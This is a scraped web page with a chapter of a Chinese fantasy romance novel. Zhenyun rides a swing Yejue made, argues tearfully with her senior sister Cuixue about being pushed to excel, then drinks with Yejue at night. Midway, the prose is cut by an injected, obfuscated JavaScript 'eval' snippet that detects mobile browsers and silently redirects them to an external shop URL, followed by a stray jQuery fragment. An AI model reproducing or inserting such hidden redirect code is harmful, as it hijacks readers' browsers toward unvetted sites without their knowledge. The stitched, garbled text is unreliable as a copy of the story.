“砰砰砰!”
枕云翻了个身。
“砰砰砰砰!”
枕云皱起眉头将被褥盖过头顶。
“砰砰砰砰砰!”
枕云鲤鱼打挺般翻起身,她恼怒地推开木窗大声呵斥道:“大早上的!你要扰仙是不是!”
夜玦:“现在已经快中午了......”
枕云无力辩驳。
她揉了揉惺忪的睡眼,天空一片放晴,刺眼的阳光折射在湖面上波光粼粼。枕云定睛一看,湖边怎么多了个东西?
是座秋千。
枕云立马挽了个可爱的发髻出了门。
夜玦穿着她送的新衣站在秋千边上看着枕云一路小跑赶过来。
枕云“哇”了声,又兴奋地摇了摇秋千看结不结实。
枕云:“这是你送我的吗?”
夜玦点点头,他开口问道:“试试吗?”
枕云二话不说坐了上去,她双手拽着绳子,脚往地上一蹬,好像离太阳更近了些。
枕云止不住地笑,像是个无忧无虑的小孩,“真好玩!”
夜玦默默地站在一旁看着她。
枕云兴奋地打开了话匣子,“你知道吗?我都好久好久没有玩过秋千了!从前在司教院下课了我跟月禾会马上跑去漓池边,那里有好多漂亮的秋千,去晚了可就抢不到了!”
夜玦:“嗯。”
夜玦回应人时就是这般性子,枕云也不恼,她继续说道:“不过后来长大了,我们也就没那么爱玩了,还是小时候好!”
夜玦摇着头,“以后也可以玩。”
枕云笑眯眯着,看来很是欢喜。
“我飞得不够高,你快来推我一把!”
夜玦愣了会,他伸出左手,忽然空中刮来一阵清风把枕云托得很高很高,伸出便可以抓到云彩。
枕云惊慌地抓住绳,“啊啊啊啊!我没喊你这么推我!”
夜玦勾起嘴角,“学以致用。”
眼看自己越飞越高,凉风驱散了阵阵炎热,但是这种飞翔且不受控制的感觉让枕云发怵。
枕云大叫道:“可以了!不许吹了!”
夜玦立马收了术法,枕云晕乎乎地回到地面,她站起来的时候腿还有些软。
枕云气鼓鼓地想给夜玦来一拳,不过还没打在他身上,夜玦的大手便握住了她的手腕,他的掌心十分温暖。
夜玦垂下眼眸,“平时你的动作不会这么慢。”
枕云来了气,她另一只手略微施法,可夜玦侧过头躲过了她的飞石。
枕云挑着眉,“可以嘛,现在反应更快了。”
夜玦:“那得多谢你的指教。”
枕云笑着哼了一声,她又拍了拍夜玦的肩头,“饿了,你做饭去。”
夜玦点点头,转身便走向木屋,枕云看着他的背影满意地坐在秋千上一晃一晃。
她哼着歌似乎对这个秋千爱不释手,可枕云的心忽然感应到了什么,她僵硬着回过头。
“师、师姐......”
淬雪单手叉着腰,冷漠地站在她身后。
枕云扯出一个尴尬的笑,“您怎么会突然过来?”
淬雪盯着秋千看了一会,“你整日便在仙桃林里偷懒?师尊让你反省你可都反省了?”
枕云耷拉着脑袋,有气无力道:“都做了...”
淬雪一手撑在秋千旁,眉毛紧紧皱着,“课业呢?都做完了没有?”
枕云低着头,紧紧拽着裙子,“快了,还差一些。”
淬雪叹了口气,给枕云原本炎热的心泡了个冷水澡。
“你怎么会成这个样子呢?”
这句话如同晴天霹雳砸在枕云头上,她张着嘴,大脑一片空白。
淬雪:“我没有想过你会如此自甘堕落,这三百年来是不是我白养你了?”
“你有什么用?”
枕云愣愣地看着她,她的嘴颤抖了几下,泪水不受控制地从眼角涌出。
这么多年她费力的生活又算什么呢?
枕云:“我怎么了!为什么你们一定要我做到最优秀?我只想在仙桃林过点安生日子,你们每次给我的任务我都完成了,这难道还不够吗?”
“从小到大你都在逼着我学,必须要出类拔萃,必须要对你们的话毕恭毕敬,好不容易考上了司教院,你也必须让我跟你生活在同一师门!”
“夙璃那么努力优秀你们为什么还要一直逼我!我也不想与他争什么,到头来因为你们逼迫我,他又一直对我不满,这些你们不清楚吗?”
“我又不是什么仙中龙凤!我就是没有理想,没有目标,我喜欢看桃林里的春夏秋冬,我喜欢下雨天在木屋里待上一整天,我喜欢和朋友无忧无虑地聊天玩乐!我就是想普普通通地活着!”
“你有在乎过我想不想去评选吗?你有在乎过我喜不喜欢那些优绩考核?”
“你从来都没问过我的意见!”
世界总在催促着我们长大,但被推着往前走的时候身边的人却没问过一句开不开心,快不快乐。
枕云最后一句尽乎咆哮地对着淬雪喊出,她全身都在颤抖,仿佛这样可以把所有的所有的压抑释放。
又下雨了,雨滴砸在两人身上,淅淅沥沥的,枕云分不清脸上的是泪水还是雨水。
淬雪站在她对面,眼中的失望变成了冰冷,她说:“因为你是我创造出来的东西,因为你优秀了才有资格去和别人竞争,因为一直以来大家都在过这样的生活!”
枕云:“明明见到我的第一眼,你说让我健康平安就好!这些话你都忘了吧!”
她歇斯底里地崩溃:“如果重来一次,我宁可不被你创造出来!这里也不是我想要的生活!”
下一瞬,淬雪的剑刃抵在她的脖颈处,淬雪拿剑时一向很稳,可是她现在双眼通红,手也在微微颤抖。
枕云毫不犹豫地用一只手握住她的剑刃,她仿佛感受不到痛一般,鲜红的血带着雨水一滴一滴砸在地上,又被雨水冲刷干净。
淬雪拧着眉,“松手!你疯了吗!”
“哐当”一声,淬雪的剑掉在了地上。
淬雪没有去捡,她反而上前一步紧紧抓住枕云的手,她很用力直到枕云的手腕被她掐出了红痕。
枕云想奋力挣脱她的桎梏,但淬雪没有给她机会。
淬雪强硬地将灵力缓缓注入她的掌心,枕云的抵抗在她看来微不足道,片刻后枕云的手完好如初,刚刚的伤口不复存在。
明明那么近,两个人的却像是被一道厚重的屏障隔开。
雨越下越大,淬雪的力道渐渐松开,她看着枕云,眼睛却像是在看一个陌生人。
淬雪:“你从未这么和我说过话。”
“枕云,你变了。”
“变得我都不认识你了。”
说罢,淬雪捡起地上的剑,头也不回地走出了仙桃林。
枕云的身子慢慢弯下,她蹲在地上抱头痛哭。
忽然,雨不再下了。
枕云疑惑地抬起头撞进夜玦的眼眸中,他撑着把纸伞站在她身侧为她挡雨。
枕云哭得更大声了。
......
下完雨的夜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17656541|206997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
空如墨色绸缎,被雨水打落的花瓣铺满湖面,空气里夹杂着泥土与花草的清香。
枕云郁闷地坐在秋千上,夜玦坐在一旁的石桌上,桌面上放在几坛酒。
枕云拎着酒咕噜咕噜灌了一口,这坛快喝完了,枕云不信邪地倒过来,还真一滴没有了。
她长手一指,使唤道:“我要最左边那坛,给我拿过来!”
夜玦睨了她一眼:“那坛很难喝。”
枕云脸颊微红,她露出难以置信的表情:“怎么可能!这些都是我的陈年佳酿,我不信!”
夜玦淡淡地给了她一个眼色,他打开酒坛塞进枕云手里。
枕云闷闷灌了一口,“咳咳咳!”
“啊!怎么这么辣!好难喝!”
枕云举着酒坛,夜玦叹了口气把那坛拿回桌上,“我都说了很难喝。”
夜玦观察着她的神色,“你醉了没有?”
枕云无所谓地摆摆手,“我酒量好着呢,你别担心。”
夜玦对这句话表示怀疑,他默默坐在了离她近一点的位置。
枕云看着黑漆漆的夜空说道:“夜玦,你有什么目标吗?”
他盯着枕云,随后垂下眼眸,“没有。”
枕云歪着头,“没有?我还以为你这样天赋异禀的修仙者会想拳打哪吒脚踢二郎神。”
夜玦:“......”
夜玦给现在的自己找补了句,“我资质很差。”
枕云立马反驳,“可你学习得很快啊!你真的不差...在很多地方反而比我还厉害。”
夜玦抬眸看着她,“枕云,有些东西并不是一蹴而就,世人眼里所谓的天才也许背后经过了无数的磨难和历练才达到至高的成就。”
“你自有你的优点,不必妄自菲薄。”
枕云丧气着,“我只想天天快乐,只想做条咸鱼也可以吗?”
夜玦:“快乐其实很难,如果你能整日没有烦恼没有忧愁,这也是一种本事。”
枕云:“......”
枕云叹了口气,“你这是安慰吗?真是谢谢你的安慰。”
一只萤火虫停留在夜玦修长的手指上,他伸出手,萤火虫在空中忽明忽暗地亮着。
夜玦:“自己的感受最重要。”
枕云:“那你快乐吗?在仙桃林的这些日子。”
夜玦:“快乐?算不上...但总归不是太差。”
枕云白了他一眼,“你可真挑剔。”
夜玦:“但你很好,遇见你是我的荣幸。”
枕云被他弄得没了脾气,她又指了指另一坛酒,“行啊,那坛肯定好喝,我俩喝一杯吧。”
片刻后,倒在石桌上一蹶不起的是夜玦。
枕云叹着气,“就这还担心我酒量差?自己都没喝几下还趴了。”
枕云跳下秋千,她让夜玦搭着自己慢慢挪回了木屋。
枕云气喘吁吁地将他放在床榻上,他安静的睡颜在月色下格外乖巧。只不过喝醉了,耳尖和脸颊都是红红的。
枕云忍不住蹲在床边戳了戳他的脸庞。
“大冰山...大木头...”
夜玦忽然歪过头,两人凑得很近很近,枕云能感受到他温热的呼吸,刚刚喝的青梅酒,淡淡的酒香弥漫在鼻息间。
枕云怔在原地,忘记了怎么走路。
只要再近一分,她就能碰到他柔软的唇瓣。
虽然那里说出的话没有几句好听的。
他张了张嘴,似乎想说些什么,枕云侧过头凑到他耳边聆听。
“祝无忧...你在哪?”